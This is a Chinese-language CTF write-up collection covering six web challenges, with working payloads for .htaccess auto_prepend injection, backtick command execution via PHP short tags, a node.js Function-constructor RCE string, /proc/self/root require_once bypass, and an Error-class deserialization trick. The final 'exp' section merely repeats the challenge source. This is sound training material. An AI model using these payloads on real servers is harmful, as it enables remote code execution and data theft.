30题CTF(1)
[羊城杯2020]easyphp
知识点
1.代码审计。
2.preg_match函数和stristr函数的绕过
3..hatccess文件的写入
解题过程
<?php $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } if(!isset($_GET['content']) || !isset($_GET['filename'])) { highlight_file(__FILE__); die(); } $content = $_GET['content']; if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) { echo "Hacker"; die(); } $filename = $_GET['filename']; if(preg_match("/[^a-z\.]/", $filename) == 1) { echo "Hacker"; die(); } $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } file_put_contents($filename, $content . "\nHello, world"); ?>
刚刚打开看到题目时,就看到了file_put_contents函数,当时的想法是,写一个是php文件,文件中上传的是一句话木马,然后连接蚁剑。但是仔细分析了题目,
发现下面的这段代码的意思是只解析index.php文件,那么我的这个思路是行不通的了
$files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } }
后来看到wp是利用.htaccess来设置文件自动包含,什么是.htaccess?
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。
也就是说这里的思路是通过改变文件的一个配置,从而达到我们获取flag的目的。
在题目中还有这两个函数的限制
if(preg_match("/[^a-z\.]/", $filename) == 1) { echo "Hacker"; die(); }
这里因为我们要写的文件名是.htaccess,而这个函数的意思是只能输入小写字母和. 那自然绕过了。
到了stristr函数,过滤了几个我们playload需要的单词,那么我们可以用换行符来绕过。
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) { echo "Hacker"; die(); }
接下来就给出.htaccess的内容:
php_value auto_prepend_fil\ e .htaccess #<?php system('cat /fla'.'g');?>\
解释一下:
php_value auto_prepend_file 是用来在页面底部加载文件的,在这里就是相当于加载<?php system('cat /fla'.'g');?>
而#应该是.hatccess文件特有的写入形式,没有的话会直接报错500,最后那个/是用来转意换行符的
最后的playload:
?content=php_value%20auto_prepend_fil\%0ae%20.htaccess%0a%23<?php%20system('cat%20/fla'.'g');?>\&filename=.htaccess
[红明谷CTF 2021]write_shell
知识点
1.执行运算符
2.php短标签
3.代码审计
解题过程
<?php error_reporting(0); highlight_file(__FILE__); function check($input){ if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){ // if(preg_match("/'| |_|=|php/",$input)){ die('hacker!!!'); }else{ return $input; } } function waf($input){ if(is_array($input)){ foreach($input as $key=>$output){ $input[$key] = waf($output); } }else{ $input = check($input); } } $dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/'; if(!file_exists($dir)){ mkdir($dir); } switch($_GET["action"] ?? "") { case 'pwd': echo $dir; break; case 'upload': $data = $_GET["data"] ?? ""; waf($data); file_put_contents("$dir" . "index.php", $data); } ?>
可以看到,action为pwd时,会打印当前的目录路径;action为upload时,会上传数据到目录路径下的index.php中,并且会对上传的数据进行检查
在check函数中可以看到,输入的数据不可以包含 ‘ ’,'_', 'php', 'eval', '{', '}' 没过滤反引号,欸嘿,突破口找到了
先看看当前文件路径
想要绕过check函数写shell,过滤了空格‘ ’可以用 \t 代替,过滤了'php'可以用短标签<?=?>代替,相当于<? echo>;
过滤了‘_’可以用<?=``?>代替,反引号在php中有执行命令的效果
利用通配符 '*' 来搜索文件
playload:
?action=upload&data=<?=`cat\t/*`?>
[极客大挑战 2020]Roamphp1-Welcome
知识点:
1.处理打开靶机就是404的情况
2.sha1函数比较
解题过程
打开靶机的时候,直接就是404,一开始以为是我的网络出来问题或者靶机出来问题,于是换了网络和重新开了靶机,结果还是一样,有查看了数据包,没啥问题
后来看了wp,发现人家就是这样的,这个应该也算是考题的一部分吧,先抓个包,将请求方式改为POST然后再放包就可以了。
然后就看到题目的代码:
这就很简单了,直接就用数组绕过shal比较就可以了,因为shal不接受数组,遇到是数组都会返回NULL,那么NULL == NULL 返回的自然是true。
然后就转到了一个phpinfo文件,直接Ctrl+F找flag就可以了
[NPUCTF2020]验证🐎 1
知识点
1.node.js代码审计
2.js弱类型比较
3.hash绕过
4.构造函数执行任意代码
解题过程
在首页没有什么发现的,在“你敢点这个试试”那里有源码,这里截取比较重要的部分。
app.post('/', function (req, res) { let result = ''; const results = req.session.results || []; const { e, first, second } = req.body; if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) { if (req.body.e) { try { result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!'; } catch (e) { console.log(e); result = 'Wrong Wrong Wrong!!!'; } results.unshift(`${req.body.e}=${result}`); } } else { results.unshift('Not verified!'); } if (results.length > 13) { results.pop(); } req.session.results = results; res.send(render(req.session.results)); });
这里有个if要绕过:
first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])
先看一下node.js的比较
可以看到数组[1]==1在两个等于号时候是返回true的,而在三个等于号时候会返回false。这一点是和php一样的。
在JavaScript中各个数据类型的相加的结果, 可以看到对象和字符串相加最后得到的是字符串,而数组和字符串相加最后也是得到字符串,
所以可以基本得出结论就是,node中任何数据类型和字符串相加最后得到的都是字符串。
而长度length 属性对于字符串是返回字符串长度,而数组是返回数组元素个数。而数字是没有length 的。
根据上面介绍的node特性,可以得到这样的playload:
{"e":playlod,"first":[0],"second":"0"}
在有一个知识点
function saferEval(str) { if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) { return null; }
这个正则表达式不太懂呀,看一下大佬的解释:
把满足正则表达式的部分全都删掉后传入的str为空才可以成功执行。
看一下这个正则,第一部分是类似Math.xxx或只有Math这样的的,第二部分是可以包括这些字符:
[()+\-*/&|^%<>=,?:
第三部分是以一定数字开头,然后跟0或者1个点,然后任意的数字,然后0或者一个类似e1111这样的。感觉这是整数,浮点数和科学计数法。
先给出playload:
(Math=>( Math=Math.constructor, Math.x=Math.constructor( Math.fromCharCode( 114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41) )()))(Math+1)
用一个例子来解释Math=>的意思:
同理a = x=>x*x
相当于命名了一个名字为a的函数:
那么(x=>x+x)(2)
呢其实就相当于往这个函数里面传入参数2:
我们再回到payload本身(Math=Math.constructor,Math.x=Math.constructor(......))
可以清楚地看到最外层括号是一个逗号运算,而逗号运算我们知道是从左往右运算再最后返回最右边的值。我们由此得知这里是执行这么个运算:
Math.constructor.constructor(.....)
而这又是什么呢,我们直接逐层测试的Math.constructor
:
可以见到第一层返回的function object()
,他是function的对象原型,而我们知道Object的构造器是指向Function的所以第二层会出现Function。而Function是构造函数他能够创建函数。可以简单理解他和eval类似。我们可以测试一个例子:
var sum = Math.constructor.constructor('a', 'b', 'return a + b'); sum(1,2); var fun = new Function('a', 'b', 'return a + b'); fun(1,2)
可以直接看到结果,Math.constructor.constructor()
和构造函数new Function()
是等效的。当然这个不知在Math中其他任意函数应该也是类似的。例如:alert()
最后得到的脚本:
参考:NPUCTF2020 验证🐎-(弱类型比较、hash绕过、构造函数执行任意代码) | Xiao Leung's Blog (plasf.cn)
[WMCTF2020]Make PHP Great Again
知识点:
1.require_once 绕过不能重复包含文件的限制
2.利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含
解题过程
给出源码,看起来挺短,但是设计的知识点还是挺复杂的:
<?php highlight_file(__FILE__); require_once 'flag.php'; if(isset($_GET['file'])) { $a=($_GET['file']); require_once($a); }
在这里有个小知识点,/proc/self
指向当前进程的/proc/pid/
,/proc/self/root/
是指向/
的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过,payload:
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
参考这篇文章,这个有点复杂,以为现在水平看不懂:https://www.anquanke.com/post/id/213235#h3-2
方法二:利用session.upload_progress进行文件包含
参考:https://blog.csdn.net/weixin_48537150/article/details/113189052
这个知识点还是不怎么吃的透
[极客大挑战 2020]Greatphp
知识点:
解题过程
给出源码:
<?php error_reporting(0); class SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); } } } } if (isset($_GET['great'])){ unserialize($_GET['great']); } else { highlight_file(__FILE__); } ?>
解题思路:
进入到题目,看代码发现是ctf基础的题目,md5和sha1的比较,一般遇到这种情况都是用数组绕过就可以了,但是这里的比较是在类里面因此不能这样绕过。
所以我们可以使用含有 __toString 方法的PHP内置类来绕过,用的两个比较多的内置类就是 Exception 和 Error ,他们之中有一个 __toString 方法,当类被当
做字符串处理时,就会调用这个函数,用一个例子来说明他的作用:
由上图可以看到$a和$b的值看似是一样的,但是到了后面判断他们是否相等时,他的结果是不相等的,原因是在Error()中的第二个参数“1“是指报错代码,
很明显$a和$b的错误代码不一样,因此他们比较是不一样的,但是错误代码并没有打印出来,但是他们的md5和sha1是相等的。值得注意的是要将$a和$b的参数
定义是要在同一行,因为报错的打印出来的包括错误行数。
我们可以将题目代码中的 $syc 和 $lover 分别声明为类似上面的内置类的对象,让这两个对象本身不同(传入的错误代码即可), __toString 方法输出的结果相同即可
由于题目用preg_match过滤了小括号无法调用函数,所以我们尝试直接 include "/flag" 将flag包含进来即可;由于过滤了引号,我们直接用url取反绕过即可
exp:
<?php error_reporting(0); class SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); } } } } if (isset($_GET['great'])){ unserialize($_GET['great']); } else { highlight_file(__FILE__); } ?>
结果: